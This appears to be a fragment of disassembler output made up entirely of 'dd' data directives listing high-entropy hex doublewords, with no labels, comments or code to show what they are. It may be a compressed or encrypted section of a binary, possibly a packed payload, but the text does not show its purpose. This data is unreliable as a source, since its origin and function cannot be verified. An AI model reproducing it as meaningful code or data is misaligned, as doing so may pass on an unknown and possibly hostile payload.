		dd 0F20C887Fh, 0FDE970D6h, 3AC08A07h, 96649EF0h, 3E3881Dh
		dd 8AAA3F2h, 0C74F2354h, 299FC63h, 0DAE0FF08h, 8C238F7h
		dd 87595803h, 1C432404h, 0A115707h, 31A16457h, 0F4F88632h
		dd 0D2D4078Ch, 96A0741h, 12ADD3F9h, 35F854D0h, 24ADF0C7h
		dd 4D67FD78h, 2E8A41D0h, 0A361B84Dh, 73D5D4BFh,	18285D0Dh
		dd 0FCA1048Ch, 0C0338EA8h, 8902506Dh, 0C20FF66Ah, 4B61502h
		dd 67140D20h, 4A73ACBBh, 9E69B9E5h, 651EC6A9h, 8AADAC75h
		dd 235F434h, 0D385F08Ah, 0D9E14005h, 44A19BA1h,	0A808BAECh
		dd 31E123FFh, 2E5118A2h, 1D021A20h, 0C88B32B0h,	0F8B9EC68h
		dd 351B23C1h, 4DEAA5FCh, 0CDF87073h, 0A3D14908h, 79488411h
		dd 0AF593465h, 913BD8F2h, 62D45E7Dh, 9B1827AEh,	0E40C2041h
		dd 82E81C40h, 6552AF2Ch, 1AECF04Fh, 0B9B89497h,	309F442Dh
		dd 26895FCDh, 0A5F86DCCh, 73D8109Eh, 0CC44B185h, 4B862601h
		dd 82B353AAh, 2D0FD48Fh, 0AC3A2150h, 0F78026F5h, 94CBEAA8h
		dd 0AB64DFCCh, 0B5BC1748h, 58D85708h, 5CDF09EBh, 0CC51CDA4h
		dd 958FF26Bh, 918D6A60h, 0DFE08389h, 3A0FF061h,	2448025Fh
		dd 4952AF01h, 230A4D6Dh, 0A414EC02h, 66351006h,	3AF1700h
		dd 78632337h, 0B5BB8524h, 0C8316EDDh, 3333ACC2h, 6B0E1C3Bh
		dd 18CDFF20h, 0BF72A9Fh, 0D54A2649h, 0F5BAE5A7h, 5F449877h
		dd 9789C69Ah, 7C0301D1h, 31FE8339h, 1EA70578h, 0D33852h
		dd 0B6048D4Eh, 94834C39h, 55E301Ah, 83A483Bh, 0C1FD07Eh
		dd 4D4CF6A4h, 0E6B9AA4h, 24CA6D48h, 144DC500h, 31893546h
		dd 172000Ch, 770C473Bh,	0F0290475h, 89364876h, 0E285D2F0h
		dd 76F24656h, 68C6279Fh, 8441D513h, 5D2694CAh, 3F2B4942h
		dd 9524B0D9h, 2DFF0615h, 0FDE91B8h, 145B0E69h, 2127236h
		dd 0C39ED3B8h, 0E0277F6Fh, 68FE6A50h, 6483CB70h, 882DFA0Dh
		dd 4D25890Eh, 58084335h, 11196051h, 3E2E74A9h, 7B6D1Ch
		dd 76348D28h, 68B30C8Bh, 19E2B489h, 0E97C3048h,	12242004h
		dd 0D1016838h, 0FD7AF32Eh, 0FF26C60Ch, 17EB1254h, 0F28F64C3h
		dd 66EC4E13h, 4217A1D2h, 81100DC6h, 69045179h, 87517252h
		dd 393752FAh, 3E08556Bh, 3D8B689Ch, 453CBB97h, 340AEB76h
		dd 4BEF8809h, 45D06DEh,	590C6B81h, 0D0A0C25Bh, 0E4C2B5F0h
		dd 52EF504Ch, 0A6BB0C9Bh, 16326CB3h, 0D450098Dh, 91AAE206h
		dd 0D850EF09h, 0C287D7B8h, 0DA1BD6D0h, 434C31D7h, 2933E008h
		dd 0ED30130Ch, 0B8F850A2h, 0B8E8D742h, 33A4D746h, 0F32AF40h
		dd 2494099Ch, 9184488Ch, 4574227Ch, 0AE503C6Ch,	24D7B8C4h
		dd 22D0F123h, 0F045DC09h, 0C4AA503Dh, 0C32DD950h, 58106BDCh
		dd 0D950C4D8h, 8819684Ch, 0A7B009C8h, 500850B5h, 500875D9h
		dd 5C21D5D9h, 0C0F0499h, 22140991h, 2C24441Ch, 47123489h
		dd 7650E529h, 606620ACh, 4409680Dh, 798A8C78h, 6A1F5D50h
		dd 0A7EC672Fh, 0D3BC0C01h, 141E084Dh, 0B158BA8h, 0D5C6592Dh
		dd 2B25F1FAh, 3B3441F2h, 2A735ECCh, 0FC1F523Ah,	8C48B8C0h
		dd 0AB01122Eh, 0DE9CA8E2h, 8E2FC354h, 2819D42Bh, 0C10105A3h
		dd 0C8D02F9h, 46498988h, 55A166Bh, 1E0583E3h, 50C16C0Ch
		dd 0A695B3C9h, 90A59C8h, 8068C348h, 0AEDD98FDh,	5998CAB5h
		dd 2356A73Eh, 0D2231818h, 8DA153C9h, 4469E85Ah,	42A2A309h
		dd 824EA9D6h, 7D8366C8h, 41081360h, 391099E3h, 4F2FF85Eh
		dd 9F7D56D9h, 31898C32h, 0EAE34226h, 0F1093CFCh, 0C9505E5Eh
		dd 839E4D5Ch, 0CCEA6F57h, 0D1F70AB8h, 96137A01h, 5D0C48E8h
		dd 8919EF24h, 56DC3CD9h, 0A31FDC51h, 14B204F3h,	0AFFF3359h
		dd 0F86D6D36h, 748006A8h, 45FC2407h, 0E714EB3Dh, 8F7106Ah
		dd 0C4F642FFh, 0E027F04h, 44D71846h, 0EEF1BF77h, 3D10760Ah
		dd 0A570912h, 493C72AAh, 0DEB85E0h, 16B1199Fh, 2F32EC14h
		dd 84B0C75Fh, 43082444h, 65C80B10h, 2009F80Dh, 0C2E1F7CFh
		dd 536F1070h, 1ED88A0Ch, 0AE64323Fh, 0E10A9103h, 0D25BD3E0h
		dd 0E55AB937h, 772C9FAh, 0ED105DCCh, 5AD82BDFh,	880BF9CCh
		dd 4EE1EF07h, 2AE1810Ch, 4A7492F4h, 1958F329h, 0FBBC3B22h
		dd 2858CD2Bh, 793625F9h, 5773A55Ah, 0B2DF2B0Fh,	462539ACh
		dd 0DBBAB076h, 4C0B5A82h, 0B8A59F0Eh, 8257B879h, 57C38B0Dh
		dd 2BFB6698h, 0AC87FA4Fh, 4A9436Ah, 0B522209Fh,	66089C29h
		dd 0D82B0099h, 3E72C73Bh, 61A2EB95h, 0F561CE8h,	2F50C1BEh
		dd 0E8436536h, 522E7474h, 4B2AA545h, 7FB4CAA6h,	1E4A49A8h
		dd 0C9DB0F55h, 0DA7E5E50h, 0FC62A358h, 0AF2BC7CDh, 0E7D3FE75h
		dd 0E94EA2F3h, 74FF92ADh, 0E59BF864h, 0F61DA844h, 0BA023A93h
		dd 45824C16h, 0F014910Dh, 0DBEB887Fh, 0CC0F859Dh, 0DE3C013Dh
		dd 0B186062h, 0E9A5C663h, 101966C0h, 8AF148D7h,	0D3110CCCh
		dd 2F41EB3Eh, 5AFE6AC8h, 0D1148052h, 0E8DBE4E9h, 0D8ECEAh
		dd 0F475C90Bh, 0F08BF3F7h, 74CCAE92h, 0FC1435C8h, 0D10306E6h
		dd 513B0E72h, 3C64775Ch, 76596107h, 926B4E01h, 0C4445E06h
		dd 2B82708Eh, 51286F1Ah, 33EDA96Fh, 1815C20Ch, 226F50EBh
		dd 80C4410h, 19C8918Fh,	100B9114h, 8B0C6C4Ch, 76925DC4h
		dd 33BC7411h, 7E14241Bh, 0BE058A11h, 835E83DAh,	737D0AA7h
		dd 4DC4034Fh, 8465E484h, 0D647D00Ah, 549D4C4Dh,	89373883h
		dd 0C5E54A29h, 181C621Ch, 4A1C451Ch, 14897827h,	0BE10230Bh
		dd 93541A54h, 0EBD10E45h, 64B8D94Ah, 19F149DBh,	180C1C27h
		dd 0C8149185h, 0C44FE410h, 61B329CCh, 16F627A4h, 29C494A1h
		dd 0F4DBB109h, 0FC5D02DEh, 0F8D22175h, 1838D002h, 0F68A7F74h
		dd 7C610C44h, 5F67A0Bh,	2027E9F4h, 1ACDE088h, 0EBEA1275h
		dd 684DAE67h, 0FFD40253h, 9BCC9FBEh, 0D2A64B9Dh, 0F8D7E122h
		dd 3B02F068h, 573874FBh, 71BF69E6h, 2A32BF9Fh, 7655575Bh
		dd 73F46913h, 4E8B9B2Fh, 2188BB5Ah, 0E901BE0Dh,	0FD664A5Fh
		dd 91555E6Ch, 9E6CF682h, 0E4730B7h, 61044A6Ah, 15B5ED4Ch
		dd 8B2A9E8Dh, 28A57C12h, 8BC0891h, 0F520C35Ch, 9F76ACADh
		dd 0F3A5F8A9h, 1367FDF2h, 3B80D70Bh, 0B4A93274h, 8AA04FE0h
		dd 750F3A0Eh, 47465209h, 16EB8D48h, 7D3817F4h, 3D4578D1h
		dd 57B9014Eh, 0F53B15E4h, 3B673861h, 0E35D7BE8h, 0BF825B76h
		dd 0E61057E0h, 0A774F32Bh, 3909275Ch, 0E757B9FCh, 0F545104Dh
		dd 0EF2E4D86h, 20EBEACDh, 0B86E021Dh, 0C01B02B3h, 0FFEB415Fh
		dd 0C4FD6AB0h, 0FE4168Bh, 75CA380Ch, 0EE18C8E7h, 0CBE0EEEEh
		dd 4389110Eh, 0E2EC2ADAh, 893B06A1h, 0D448CD6Ah, 0A8E0C85Bh
		dd 4DE49D38h, 7C1D7527h, 0F41402Dh, 9DD9AA8Ch, 8FE45A12h
		dd 0C02E84A1h, 0D08BA120h, 95E2D8B2h, 0E0C3937Fh, 95EDF3Bh
		dd 3539257Dh, 707E1811h, 39BD5361h, 400D0A86h, 0C623580Fh
		dd 1E285596h, 65EBC31Dh, 62131514h, 0FEF8C114h,	2C8164Dh
		dd 80014AD9h, 650C43FEh, 6E028A0Ah, 5D61D888h, 0CFEB5809h
		dd 0A4E11E76h, 0C6161814h, 0ABB1C4BFh, 903D082h, 5792C27Eh
		dd 0AE2DD12Bh, 61A81D4h, 0D52C98Eh, 8FD0D9Bh, 14C35A5Ah
		dd 0CF8DA40Bh, 444A476Dh, 83418D4Ch, 0E3CF0A2Dh, 0EB8F4010h
		dd 0F602BF50h, 0F8D1C12Bh, 0D5E89248h, 332E375Ah, 3B013FF6h
		dd 840F57D6h, 0DD583022h
		dd 1DDE1025h, 392ADA91h, 2975316Bh, 14CA8621h, 30C28A8h
		dd 31C266C8h, 323689E8h, 444AA880h, 427140B5h, 0E4121494h
		dd 0CED10C45h, 0B63A66F1h, 7E5226A2h, 914AE24h,	0F4A422ACh
		dd 0E9499FD6h, 0D8991588h, 8B7A4342h, 2AC731EEh, 0EBC1492Ch
		dd 614F8D6Fh, 8B0C31BDh, 70088AC0h, 201C49BAh, 99DCD29Bh
		dd 0BA40CD1Bh, 6A175FF5h, 13DE3CA0h, 4CC32B57h,	1BC50BFh
		dd 2F750287h, 0ADB9AFEBh, 208A3F0Bh, 561AEB0Eh,	0FA042736h
		dd 49155988h, 742E409Bh, 3B954883h, 68403800h, 53287737h
		dd 0A5B3CC0h, 9BB69F65h, 0CD27EE5Ah, 10E865C3h,	4C71B06Ch
		dd 0D48A1FC9h, 8D04347Dh, 33837C84h, 70437EFFh,	0C11DCF0Dh
		dd 0CA030883h, 0BDFC1611h, 0A310E806h, 4EA211F8h, 0D6175D52h
		dd 6DB45972h, 191C636Ah, 89E2EED2h, 22868C4h, 15339E2Bh
		dd 0ACA39DACh, 291E98F3h, 614492D9h, 8C8C27CDh,	5BD3260Bh
		dd 7581A0B1h, 5AEA90D0h, 0A0F7E5A4h, 262C1C56h,	9C0ED57Bh
		dd 1D062F6h, 0B7E74174h, 812FD4E9h, 8A580A60h, 0DF9C753Ch
		dd 0CDF4DC27h, 21166048h, 34A048CFh, 51CB4D3Fh,	93720D6h
		dd 98184D90h, 247D5150h, 2297B1F7h, 98753FC8h, 0FDDED912h
		dd 4A4C22AAh, 2DDC8801h, 0B736984Fh, 68D13D12h,	50CBA048h
		dd 6143BEE3h, 9959B225h, 0EDA56C26h, 3B4044D1h,	0C3D1603Dh
		dd 86830F58h, 0C78B371Ch, 0D50FF793h, 1FE68005h, 24851C8Dh
		dd 0BD15D060h, 0A48B031Ch, 4300AC6h, 57690DBDh,	38AAE589h
		dd 0E53C892Ah, 111613AFh, 864A17F3h, 5F5110DFh,	3BFC8C80h
		dd 0A41C40C5h, 0A82AF92Ch, 4F4AD489h, 0E8A2BCA8h, 0ED15B9FCh
		dd 0B2C3711Eh, 60648059h, 74ED3CB4h, 2C9C5509h,	0FC15EB62h
		dd 8314046Bh, 0C219E525h, 94F636Ch, 5B5DAC71h, 0CCD33A68h
		dd 0F79E1D39h, 76FF1904h, 66D131EEh, 0F70CC881h, 0A776FB6Ah
		dd 468C061Ch, 0B4040608h, 70E1C965h, 862A3C09h,	9C245990h
		dd 93775233h, 0F62004C2h, 0C4400D46h, 625E3C8h,	0D8F7E730h
		dd 9F6AB046h, 5314CDF1h, 2D0C3D3Ch, 20A32BDBh, 8003E1AAh
		dd 37E8A0F9h, 8A92866h,	263168F3h, 2B3E0980h, 7E0237D6h
		dd 79505726h, 4382C961h, 99920E75h, 24B9ED43h, 279B69FDh
		dd 8627AE07h, 0F463FFCBh, 9E4A266h, 0D2517D99h,	8F8C2728h
		dd 2757CBCBh, 0FF44DBB7h, 0D040F8C1h, 0A1987E03h, 9D9AC02Ch
		dd 12B0042Eh, 48D2389Dh, 0E44099A8h, 6528E730h,	990FC550h
		dd 0F0D30918h, 431D7918h, 168217B0h, 9A132961h,	14DA0244h
		dd 76757E1Bh, 3B462A0Bh, 0B37C2A4Dh, 74E2CB39h,	0BACE127Dh
		dd 8387C038h, 7236E126h, 2D383050h, 2D025A4Dh, 4CD03C48h
		dd 0C1030D0Fh, 881A238Ah, 1B40A90Eh, 940146D4h,	2CB8413Eh
		dd 57E66A12h, 0D2D8B85Eh, 10A91ABAh, 40EB3EF5h,	868A781Ah
		dd 4412111Bh, 725B056Ch, 0D686AAE9h, 0D4206C6Fh, 90682DEDh
		dd 8977E60Bh, 6AA1AC52h, 587142B4h, 81D02273h, 82C68DF7h
		dd 8B9D3821h, 5F4D806h,	7C613C01h, 0DD80AB08h, 7C202C04h
		dd 38410588h, 21ED7519h, 91166A42h, 5E4A0C7Eh, 0D519AFEDh
		dd 0EB1A4808h, 64104965h, 4B8BE7EFh, 0A0728DAFh, 0B8DA13A0h
		dd 0A0561F0Ch, 4350521Bh, 9365EE5Eh, 3E2F02BFh,	0E832C6Ah
		dd 1B7390B9h, 0AFB830FCh, 0CD03C84Eh, 0F039800Eh, 2A880475h
		dd 583CEB19h, 5328B5F2h, 86B52D24h, 7B864F92h, 3750A1Dh
		dd 0D3011840h, 400EBCD4h, 0FD1ED41Bh, 6497D80h,	83468759h
		dd 0BDBE0324h, 3A725170h, 0C9AA9AD5h, 0D9E12F02h, 42BC0C34h
		dd 72A32771h, 46745B31h, 8B2AD5E0h, 5BBEA8FEh, 0A6146846h
		dd 0CFD62574h, 75C3738Ch, 0E28A6BBEh, 0F93F316h, 0B8C863B9h
		dd 8118DDADh, 0A7EB4068h, 6C7D5B5Ch, 75889CB3h,	49359601h
		dd 0D8944487h, 13980EB2h, 90A3661Ah, 0A0E9C111h, 1A580DA6h
		dd 952E0D88h, 40A19019h, 800C8D1Fh, 8A89CF0h, 0C12D3B88h
		dd 453A173h, 81F0502Bh,	4B93E1FAh, 0C0C90172h, 0ADE8EB14h
		dd 0C999FCEEh, 13BF1B78h, 0DD41EB71h, 83FE2080h, 2BFC1FC6h
		dd 0EFC10779h, 69CFF10Fh, 1BE43BC9h, 18C158Dh, 0BD589A44h
		dd 0E8BF004h, 3E1AAF49h, 0D986FF12h, 14FE33E6h,	7353315Ch
		dd 43A06BFFh, 0CFC6756h, 0F612FCF8h, 5D3CC260h,	77E750Ch
		dd 4A04FAC1h, 763F4083h, 5AE86A03h, 394B8B3Eh, 75088C3Bh
		dd 1520204Ch, 0A2BB1E73h, 0CA8B8000h, 4C8DEBD3h, 0F704021Dh
		dd 0B85C21C0h, 2A09FE44h, 0F7822875h, 8DF89521h, 21E0554Ah
		dd 369C1F1Ch, 4521C4B8h, 59190642h, 2FFC0C04h, 85038C92h
		dd 0B6815308h, 0C8EB045Bh, 0C55A89F4h, 5F0C552Eh, 5213F295h
		dd 312B2AE3h, 5D6480D1h, 976811EEh, 91B5F428h, 752B0FECh
		dd 0FBC125F8h, 89360465h, 5E4BF300h, 0B076DE3Bh, 90B3E952h
		dd 8940D12Ch, 0D66E3B39h, 0DA869D25h, 0A1CE6374h, 0BE477114h
		dd 83400438h, 0BE1C04FBh, 0EED3CB30h, 21D6F70Ah, 4C81BA74h
		dd 26750403h, 5319A48h,	4B8D1FEBh, 1D1F51E0h, 34B8B42Bh
		dd 71BA6241h, 9A03972Dh, 4E89C949h, 0FE60C49h, 752465F0h
		dd 7C5DCF22h, 3DF41CABh, 0EAEAD2FEh, 6C42B065h,	4204D15Ch
		dd 5E9406BDh, 5F52DB65h, 83D9707Ch, 1E843B0Ch, 958A6075h
		dd 88514020h, 0C1FE0F4Dh, 731989EBh, 79A88F25h,	60220E82h
		dd 1909EDD8h, 44C56E91h, 18DDAE1Fh, 242529D5h, 0A726710h
		dd 21325626h, 0E9EA19BAh, 9B94C84h, 0DEA4104Bh,	7644E406h
		dd 0F012C430h, 0F1C3EFFFh, 0A12D26F7h, 64F0A67Eh, 0D8B43DCh
		dd 2C1D768Ch, 82A46835h, 30FE1C1h, 0A638DEE3h, 20BF4E80h
		dd 0FF5153C6h, 4520D652h, 95C0C33h, 0F08502Ah, 0F09D3A86h
		dd 88A4347Dh, 215866DAh, 4348FE14h, 9E3D9E0Bh, 0A8E87980h
		dd 60830905h, 125EFE04h, 35A07856h, 1C535969h, 0D655C24Fh
		dd 101413ACh, 0A416CDB5h, 0B98B67F6h, 8004F498h, 0F8E0C12Fh
		dd 2B2989AEh, 114C60DEh, 3A5175ECh, 0D1581448h,	665DC689h
		dd 0DFF282Bh, 53B2830h,	1370BD23h, 14086D16h, 53CD2F34h
		dd 3D89458Ah, 1ED44FA5h, 442DBA5Bh, 314C640Bh, 4257CD67h
		dd 235C823Ch, 1617BE6Ch, 41F0E183h, 4F9C123h, 20A0EB49h
		dd 70BD0E7Dh, 970B90DEh, 6640406Ah, 0ECA2EBF4h,	0C8769109h
		dd 0E8D3F686h, 0FE85B51Fh, 0D86842A1h, 9860DF3Bh, 19597308h
		dd 23F67C23h, 0FEC358DCh, 9875CF0Bh, 9514C383h,	33C668F8h
		dd 0F11E772h, 0DA8B7975h, 1127D8EAh, 2305B215h,	3479E6EBh
		dd 734B5962h, 0EF42FD11h, 2962404Bh, 84EDEB55h,	0D282638h
		dd 30241CAAh, 230E49EEh, 1174DD06h, 78DB85F8h, 1443145Eh
		dd 3F5925DEh, 0EAF810B8h, 38A9A043h, 0E83097FFh, 89296FDDh
		dd 2AB7A61Dh, 0A0FA2E3Ch, 0DFFC55C8h, 908C495Ch, 7CBBB413h
		dd 899444BAh, 13A4377Dh, 55247064h, 0E84FDE10h,	0A9488F37h
		dd 18038D0Bh, 91D417F9h, 48D69784h, 5443B4Dh, 0FEC00Fh
		dd 74D70B39h, 9AA4F1E9h, 0FF330B98h, 49B061BEh,	0CEB14C61h
		dd 674C0D75h, 0CB20606Ah, 7CC9855Fh, 0E1D10501h, 8BF7EB47h
		dd 0F954438Ch, 2B590A88h, 5EF1341Fh, 0E9FEC6C3h, 3FD0834Eh
		dd 98E7B27Eh, 99F74CC8h, 2C010D11h, 0C039224Ah,	0FF832461h
		dd 622B1685h, 0FC4CF01h, 3822059Fh, 0F40053D4h,	885C23ECh
		dd 982EF44h, 38750FFEh,	4DDE20D7h, 5C0B21ECh, 4F2CCAEBh
		dd 2C287215h, 6B9F2496h, 54198626h, 43996FD4h, 3386512Dh
		dd 6D26CB2h, 0B47BF77Ah
		dd 7977893Fh, 81AEDD9h,	0ECCE12B9h, 85AAD0D7h, 0C094F17Ch
		dd 9E46A61Bh, 0A351EC52h, 0AE0C7922h, 0C064589Eh, 0FE440620h
		dd 297D2C0Bh, 3B9726C2h, 25B2F7F0h, 0B198BFC6h,	0EF15D3CEh
		dd 0D10B3B09h, 7C507E90h, 2F52EBAFh, 8D0DC129h,	2156E04Eh
		dd 457B4A55h, 36BC8D17h, 86B12EAEh, 27370943h, 5748F82Ch
		dd 60E50A89h, 3494FC01h, 753BF3BFh, 46D1B2F0h, 32138201h
		dd 9BA04BFCh, 8D44190Eh, 0EC3E2079h, 1D4C3B1Ah,	121B9EEDh
		dd 0A28DDD99h, 70290721h, 8892598h, 4428D16h, 3D80934h
		dd 3F88450Dh, 0C10B7CA2h, 5D823075h, 70CA5089h,	9C11AD76h
		dd 3F71572Dh, 0E48A77EBh, 9B1A2589h, 3E21C951h,	68120BA0h
		dd 0E15A41C4h, 134662B0h, 8134C931h, 68D8F42Ch,	104B4689h
		dd 68043081h, 517220C1h, 15A9766Ch, 1A706429h, 0F2750C09h
		dd 0FA575908h, 305FA1A5h, 22B84E7Dh, 7E91C683h,	5605D904h
		dd 836B8463h, 9DB95722h, 8FE12C51h, 8771E957h, 339241C9h
		dd 48C3E2DBh, 8943E050h, 693830C3h, 2E8232FBh, 3013F95Ah
		dd 0F7918335h, 6A80840h, 49C0769Ch, 0FB281F4Ah,	0E7C12E86h
		dd 0C7907DDh, 22100468h, 0E98C0880h, 0ED5967Dh,	978D1BDFh
		dd 3B32700Ch, 3C77FA1Eh, 48F04799h, 88D0F361h, 0BD4BBDECh
		dd 0FFC76F7h, 2240C73Bh, 5B43ABF0h, 7868B81Eh, 0C7044806h
		dd 8123E880h, 57440515h, 0DCB92DC7h, 8BC70DDCh,	0C8420F8h
		dd 64F80525h, 4F5F6EB8h, 8D0DAD74h, 0DA120C4Ah,	64069008h
		dd 7586449Eh, 7E491BCh,	3443468Ah, 840CC1C8h, 887B74C0h
		dd 75024E7Ch, 4780903h,	19A5BBAh, 21D2F7EAh, 0C3663050h
		dd 0CC5B5B9h, 1052FD59h, 0C0D4373Eh, 17708DD7h,	22512B27h
		dd 0E0E683EAh, 0B00FEAACh, 58839985h, 492CFC4Fh, 2CA85D3Bh
		dd 0C4395C2Dh, 0F46AF756h, 3BC75F4Ah, 265FC3F6h, 0F134F85h
		dd 0F33BD903h, 0E9458F47h, 0F1CC1B9Ah, 128E3F59h, 4F0C0676h
		dd 4C8B1159h, 8173E45Fh, 202C8548h, 548B1F73h, 4C8DF804h
		dd 21F2E201h, 892B1190h, 3E184224h, 909C2722h, 4F76F53Ch
		dd 989A7CAh, 0C47F0632h, 1030C165h, 0AF01CE2Bh,	7D16AF8h
		dd 1B08AA9Ch, 2A03148Bh, 4FFC10Ch, 318A374Fh, 0FBC48930h
		dd 0FEF45F40h, 2FB411Ch, 40AD5BCCh, 800CB512h, 0DE1846C6h
		dd 3B62620Ch, 0C15C751Eh, 0FF02078Ch, 4CE51324h, 1E2104F2h
		dd 74CF64E1h, 0B915E684h, 0EBCF8266h, 1021A525h, 48B733C4h
		dd 6DBA848Ah, 0D24F2D2Eh, 0C5548C1h, 44169D62h,	0B435332h
		dd 87130174h, 4679247Fh, 22D942FCh, 3F34F82Ah, 270E4AE2h
		dd 0F437F6Eh, 43ED3A8Dh, 290C5DC9h, 31A4B54Dh, 335C6E4Bh
		dd 0D0F6A565h, 33E9B152h, 31BD8323h, 31F65ED8h,	1A8B572Bh
		dd 0A97547F8h, 198A054Ch, 823B22A4h, 89D7752Eh,	116CE512h
		dd 67412CEh, 0B40E7A28h, 0E4E596Ch, 76770624h, 887AEED4h
		dd 0DE711077h, 0D04F360h, 0E7E6038Fh, 0D6760C43h, 817BEE38h
		dd 0ED7B064Bh, 0D3E67125h, 2D5C17FBh, 9AAE38EEh, 0C6628918h
		dd 0EAE3B1AEh, 38391240h, 4284CE62h, 0B4E6580Fh, 16792209h
		dd 0D74E4362h, 9003F0F0h, 0FC18274Ch, 8355B077h, 82704B3Dh
		dd 0B5CFF31h, 0BE0CC3ACh, 1CEB1960h, 6F20681Dh,	0DA9D5B3Eh
		dd 840F1211h, 2D73220Ch, 70B1D1C4h, 2A0B40C5h, 47487ED5h
		dd 0AACF7D84h, 50D62934h, 57530331h, 3A434A7h, 5CB84AAFh
		dd 75F03B03h, 0AE4411Eh, 0A328632Ch, 641CC808h,	8EA1C67h
		dd 8915EB01h, 944A106h,	507AC2A8h, 888B0935h, 87518D30h
		dd 988ED868h, 143491D9h, 1647DCFEh, 7EEB0A4Eh, 0A15C3ECBh
		dd 0F1B9ED0Dh, 83D2DC2Dh, 0F03FD7Fh, 234AC29Dh,	894599D1h
		dd 21483297h, 2EFD8194h, 257CB6E4h, 65DD53E3h, 8BECACE8h
		dd 1FFC303h, 8F801BE1h,	767158D7h, 0E814724h, 4A6C707h
		dd 81781BF0h, 0EB2FB5A4h, 1705DEDCh, 71BE3627h,	0B47AFF82h
		dd 0ACFE8129h, 5CBD7417h, 0AC8C84F4h, 3135B495h, 33206FC4h
		dd 41803539h, 13F761CEh, 1546A3C1h, 21203743h, 65910E36h
		dd 0B5063489h, 39AA04A6h, 90826F52h, 0B991460Dh, 0B6539A8Bh
		dd 83570698h, 3FFFEDA1h, 4F4E04B6h, 54D2BE31h, 0F01B687Dh
		dd 219DAE3Fh, 713975BAh, 8A4D68C5h, 7A29DF03h, 96855095h
		dd 0FA293BEh, 500DD2E7h, 4693F874h, 6420C0F5h, 0A38798C7h
		dd 65F1DC3Ch, 0EE5E847Bh, 83EB57C2h, 0D8EF8330h, 5C7DDB85h
		dd 1C9223B2h, 4768350h,	79DA2C74h, 260E41D7h, 4187C07Eh
		dd 0E79E5A20h, 11420C89h, 0EF0CFA52h, 754A08A4h, 0E3B8D0FEh
		dd 3B53595Ah, 0A7417A5h, 8F85A9BCh, 0DBB6BB50h,	0BA4BD24Fh
		dd 0C600F692h, 10413BCAh, 0A057631h, 1F3A7214h,	74003FD9h
		dd 0A8EEEB37h, 314C750Fh, 0E8BA2757h, 4AE6817Ah, 3BDF01FFh
		dd 2F2072F2h, 0E897846h, 0C4105E0Dh, 0DDAF84Ah,	1EC12BF0h
		dd 645CC73Bh, 44CEC1F8h, 9E5EC608h, 0D2275748h,	482B2C79h
		dd 0CF90C58h, 0AFB5C82Eh, 0B60F05FAh, 80108B03h, 38982421h
		dd 40C74111h, 5173204h,	5FF1775h, 6684FB24h, 0D8200609h
		dd 0E31044CEh, 0F359B025h, 0A648BB73h, 6DBE57CFh, 0F157B429h
		dd 7E133E9Eh, 186A0408h, 0A18CAA20h, 0D7E87A83h, 3A5CACF6h
		dd 3BC2090Ch, 73F060F9h, 0F8B273Ah, 0CB80CE8Fh,	5F391A7Ch
		dd 1576040Bh, 2527C453h, 9BC616E7h, 6F097DE3h, 42C7AA2Eh
		dd 88B14469h, 0B4C87238h, 0B466406h, 7EA8054Eh,	0F82607ECh
		dd 42822F85h, 5E753373h, 197C0A56h, 0EB14164Dh,	4F18ABD9h
		dd 8199CD26h, 81A04D78h, 0F87D3BA6h, 4648D272h,	0B74CF936h
		dd 2154A74h, 891CE50Bh,	1F290DA2h, 9C08D541h, 6AECE721h
		dd 5A58586Bh, 644B07Fh,	120C0CCEh, 0D03FACB0h, 0D722DEDCh
		dd 3FE8EB3Eh, 9D44CC5Fh, 3307F3D3h, 0EEA5F72Bh,	10FEE008h
		dd 27724E6h, 11FE3B19h,	9AE70235h, 4AEB4A0Bh, 74F7A220h
		dd 62D3A9EFh, 320189D7h, 0DC04DD57h, 4A5FF6F8h,	98FC7BBh
		dd 665FF39Ah, 0B45F984Fh, 1EB921A7h, 7ECB0BD2h,	0B8ACB309h
		dd 882C801Eh, 506665F4h, 0BAF5E71Ah, 9C4D9922h,	41C71109h
		dd 0E31E9D2Ah, 0D450C183h, 0D6147507h, 93C53D89h, 8237E914h
		dd 8673C83Bh, 63F839A3h, 0F2EB3B05h, 0C01B1C09h, 47068223h
		dd 9DC1720Ch, 635FDC07h, 0BC960329h, 0D1FF88B8h, 5A3E3286h
		dd 973482F0h, 49F62AB2h, 880C1524h, 74543259h, 0B476B119h
		dd 2B7645DAh, 2154B1D3h, 5029D822h, 818D1814h, 8EFE4A34h
		dd 0F1504ED5h, 0F4124BBBh, 0A2067A1h, 998D2E39h, 8D0B4919h
		dd 242A8C2h, 210758F2h,	8817048Dh, 73A60029h, 60110107h
		dd 9EB8E29h, 6BEB6183h,	7F8A8F10h, 729147EAh, 0E90E814h
		dd 133E80F7h, 0C66BB0h,	3B10348Dh, 8A4373F3h, 0DB841805h
		dd 3C933075h, 805E9858h, 4ECE13Bh, 0EB461843h, 4E73A4F7h
		dd 0EBA145F8h, 7E222C05h, 9339B796h, 0B5045539h, 8FE69982h
		dd 5EBC30Ah, 3F30AA0h, 0E8759942h, 0D771E1BDh, 7E73F7C0h
		dd 6816F6CDh, 8A76C0FFh, 0AFE1B706h, 5EA59C40h,	258758D0h
		dd 0B53ED843h, 0B2E0581Ch, 0AC2B5009h, 99AAD019h, 310498A7h
		dd 0C2921088h, 0C22760EBh, 29131473h, 72126945h, 0EBF00634h
		dd 0C01DC4AEh, 0A7D9F003h, 0C2181670h, 0D15A4189h, 1D168812h
		dd 0C96BC5B8h, 4D13FB0Fh, 0E5247915h, 58BF2156h, 570A8642h
		dd 0D81A5597h, 60474049h, 0C5FF882h, 48DEAF0h, 7618C77Ch
		dd 1E00EA12h, 288C82Bh
		dd 480F7D01h, 0EBC1E147h, 0A0657360h, 273D329h,	0C2548348h
		dd 865572C6h, 2D0E11D1h, 58FA0A73h, 0F47BC1B7h,	429B18BBh
		dd 6A3F468Ah, 0D0127B8Bh, 6AF82B77h, 0BD2C2729h, 0FE147319h
		dd 638CC89h, 401D66B8h,	5FA43C80h, 43144726h, 0BC6388ABh
		dd 2B6D03C0h, 0AB3AD2ECh, 2D3FD56Dh, 0C4ED201Eh, 0F740C28Bh
		dd 5B3CA0D9h, 200C3BC1h, 0AE550F78h, 0A1EBB7CDh, 8B4A966h
		dd 811BFC1Dh, 59F73102h, 99347C21h, 0FF060D89h,	0E2061876h
		dd 12A14755h, 8996A889h, 973C546Ch, 0C1231F67h,	7582C2F6h
		dd 57C06434h, 22F98333h, 0C155CF14h, 0E1A35DC7h, 0BD3CC11Fh
		dd 8D284E6Bh, 0BF8ECFECh, 0F6E0E04Eh, 44F038Ah,	82E1805Fh
